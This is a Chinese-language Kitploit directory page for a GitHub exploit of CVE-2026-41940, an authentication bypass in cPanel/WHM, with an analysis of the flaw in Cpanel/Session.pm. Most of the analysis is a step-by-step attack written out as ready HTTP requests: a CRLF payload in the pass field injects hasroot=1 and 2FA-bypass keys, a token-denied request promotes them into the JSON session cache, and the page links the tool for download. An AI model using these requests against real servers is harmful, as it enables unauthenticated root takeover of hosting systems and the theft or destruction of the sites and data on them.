Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41940-cPanel-Auth-Bypass-Exploit — CVE-2026-41940 的漏洞利用程序,针对 cPanel/WHM 中的身份验证绕过漏洞,允许未经身份验证的攻击者通过会话注入和 JSON 缓存提升获取 root 访问权限。 | Kitploit
工具/GitHubGitHub/kmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubkmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit

CVE-2026-41940-cPanel-Auth-Bypass-Exploit

CVE-2026-41940 的漏洞利用程序,针对 cPanel/WHM 中的身份验证绕过漏洞,允许未经身份验证的攻击者通过会话注入和 JSON 缓存提升获取 root 访问权限。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
213个月前尚未审核

CVE-2026-41940:cPanel/WHM 身份验证绕过分析

漏洞概述

CVE-2026-41940 是 cPanel 与 WHM 中的一个严重身份验证绕过漏洞,影响所有当前受支持的版本。该漏洞允许未经身份验证的攻击者绕过身份验证,并获得 root 级访问权限(WHM)或用户级访问权限(cPanel)。

技术根本原因

该漏洞源于 Cpanel/Session.pm 中的两个主要问题:

  1. saveSession 中的 CRLF 注入:saveSession 函数在将输入写入磁盘上的会话文件之前,未对其进行适当的清理。具体来说,它未能从 pass 字段中去除换行符(\n)。
  2. 条件性编码绕过:会话文件中的 pass 字段通常使用每个会话的密钥(ob)进行加密。但是,如果会话 cookie 不包含 ob 部分(逗号及其后面的部分),则编码会被跳过,pass 值将以明文形式写入。

利用过程

该漏洞的利用是一个多步骤过程:

1. 创建预认证会话

发送一次失败的登录尝试,以触发在磁盘上创建会话文件。

root@kitploit:~
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=anything

服务器会响应一个 whostmgrsession cookie,例如 whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4...。

2. 注入恶意会话密钥

使用该会话 cookie 发送另一个请求,但移除 ob 部分(逗号及其后面的所有内容)。在 pass 字段中,使用换行符注入所需的会话密钥。

root@kitploit:~
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded

user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149

由于缺少 ob 部分,cpsrvd 会以未编码的形式写入 pass 值。注入的换行符会导致后续行被解释为原始会话文件中的独立键值对。

3. 将注入提升到 JSON 缓存

cPanel 使用 JSON 缓存来存储会话。原始注入仅存在于文本文件中。要使其“生效”,我们必须强制 cPanel 重新读取原始文件并更新 JSON 缓存。这可以通过在使用了 Cpanel::Session::Modify 的端点上触发“Token Denied”错误来实现。

root@kitploit:~
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

URL 中缺少安全令牌会触发 do_token_denied,该函数使用 Cpanel::Session::Modify 来更新 token_denied 计数。Modify 会读取原始文件(绕过缓存),然后同时写入原始文件和 JSON 缓存,从而有效地将我们注入的密钥提升到 JSON 缓存的顶层。

4. 访问受保护的端点

现在,在 cPanel 看来,该会话已完全“通过身份验证”。successful_internal_auth_with_timestamp 密钥可绕过 /etc/shadow 检查。

root@kitploit:~
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

[TOKEN] 可以从会话中的 cp_security_token 字段获取,该字段通常在“Token Denied”响应中返回,也可以通过检查会话 cookie 的行为来找到。

关键注入字段

  • tfa_verified=1:绕过双因素身份验证。
  • hasroot=1:在 WHM 中授予 root 权限。
  • successful_internal_auth_with_timestamp=[TIMESTAMP]:绕过针对系统 shadow 文件的实际密码验证。
  • user=root:将会话用户设置为 root。
下载工具